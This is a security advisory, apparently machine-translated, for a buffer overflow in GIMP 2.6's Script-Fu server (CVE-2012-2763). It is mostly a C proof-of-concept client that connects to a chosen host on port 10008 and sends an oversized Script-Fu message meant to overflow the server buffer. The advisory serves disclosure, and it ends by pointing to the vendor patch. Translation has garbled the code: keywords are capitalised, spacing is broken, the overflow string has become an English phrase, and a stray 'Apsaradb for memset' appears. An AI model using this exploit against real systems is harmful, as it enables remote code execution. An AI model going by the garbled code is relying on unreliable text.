Release date:
Updated on: 2012-06-01
Affected Systems:
GIMP 2.6.x
Unaffected system:
GIMP 2.8.0
Description:
--------------------------------------------------------------------------------
Bugtraq id: 53741
CVE (CAN) ID: CVE-2012-2763
GIMP is short for GNU Image Manipulation Program (GNU Image Processing Program) and is a cross-platform Image processing software.
A buffer overflow vulnerability exists in the implementation of the script-fu server component in versions earlier than GIMP 2.6.12, which can affect the script-fu console and the script-fu network server, after successful exploitation, attackers can exploit specially crafted messages to cause the script-fu Server Buffer Overflow and overwrite multiple function pointers. As a result, attackers can gain control over the EIP and execute arbitrary code in the affected applications.
<* Source: Joseph Sheridan
Link: http://www.reactionpenetrationtesting.co.uk/advisories/scriptfu-buffer-overflow-GIMP-2.6.html
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Joseph Sheridan () provides the following test methods:
//////////////////////////////////////// ////////////////////////
////
// PoC for GIMP <= 2.6 Script-Fu server buffer overflow //
// Author: Joseph Sheridan //
// Date: 20/05/2012 //
////
// Compile with cl scriptfubof. c/link wsock32.lib //
//////////////////////////////////////// ////////////////////////
# Define WIN32_LEAN_AND_MEAN
# Include <winsock2.h>
# Include <stdlib. h>
# Include <stdio. h>
# Include <string. h>
# Define DEFAULT_PORT 10008.
// TCP socket type
# Define DEFAULT_PROTO SOCK_STREAM
Void senddata ();
Void recvdata ();
WSADATA wsaData;
SOCKET conn_socket;
Char Buffer [2000000];
Char inBuffer [128];
Void Usage ()
{
Printf ("Usage: scriptfubof servername portnumber \ n ");
Fflush (stdout );
Exit (1 );
}
Int main (int argc, char * argv [])
{
// Default to localhost
Char * server_name = "localhost ";
Unsigned short port = DEFAULT_PORT;
Int I, loopcount, maxloop =-1;
Int retval;
Unsigned int addr;
Int socket_type = DEFAULT_PROTO;
Struct sockaddr_in server;
If (argc <3 ){
Usage ();
}
If (retval = WSAStartup (0x202, & wsaData ))! = 0)
{
Fprintf (stderr, "WSAStartup () failed with error % d \ n", retval );
WSACleanup ();
Return-1;
}
// Get portnum
Port = atoi (argv [2]);
Memset (& server, 0, sizeof (server ));
Server. sin_addr.s_addr = inet_addr (argv [1]);
Server. sin_family = AF_INET;
Server. sin_port = htons (port );
Conn_socket = socket (AF_INET, socket_type, 0);/* Open a socket */
If (conn_socket <0)
{
Fprintf (stderr, "Client: Error Opening socket: Error % d \ n", WSAGetLastError ());
WSACleanup ();
Return-1;
}
If (connect (conn_socket, (struct sockaddr *) & server, sizeof (server) = SOCKET_ERROR)
{
Fprintf (stderr, "Client: connect () failed: % d \ n", WSAGetLastError ());
WSACleanup ();
Return-1;
}
// Send the data
Senddata ();
// Recieve a msg
Recvdata ();
Closesocket (conn_socket );
WSACleanup ();
Return 0;
}
Void senddata (){
Int loopcount = 0, retval = 0;
Unsigned char command [] = "too many characters have been written into our records before aaaaaaaa has been written into our records before aaaaaaaaaa has been written into our records before ";
Buffer [0] = '\ x47'; // Magic byte 'G'
Buffer [1] = sizeof (command)/256; // High byte of L-L div 256
Buffer [2] = sizeof (command) % 256; // Low byte of L-L mod 256
Strcpy (& Buffer [3], command );
Retval = send (conn_socket, Buffer, sizeof (command) + 3, 0 );
If (retval = SOCKET_ERROR)
{
Fprintf (stderr, "Client: send () failed: error % d. \ n", WSAGetLastError ());
WSACleanup ();
Return;
}
Else
Printf ("Client: send () is OK. \ n ");
Printf ("Client: Sent data \" % s \ "\ n", Buffer );
}
Void recvdata (){
Int I = 0;
Int retval = 0;
Apsaradb for memset (inBuffer, 0,128 );
Retval = recv (conn_socket, inBuffer, 128, 0 );
Printf ("retval is: % d \ n", retval );
Printf ("first char is: % x \ n", inBuffer [0]);
If (retval = SOCKET_ERROR)
{
Fprintf (stderr, "Client: recv () failed: error % d. \ n", WSAGetLastError ());
Closesocket (conn_socket );
WSACleanup ();
Return;
}
Else {
Printf ("Client: recv () is OK. \ n ");
// Print the message contents...
For (I = 0; I <retval; I ++ ){
Printf ("% c", inBuffer [I]);
}
Printf ("\ n ");
Fflush (stdout );
}
}
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
GIMP
----
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
Http://www.gimp.org/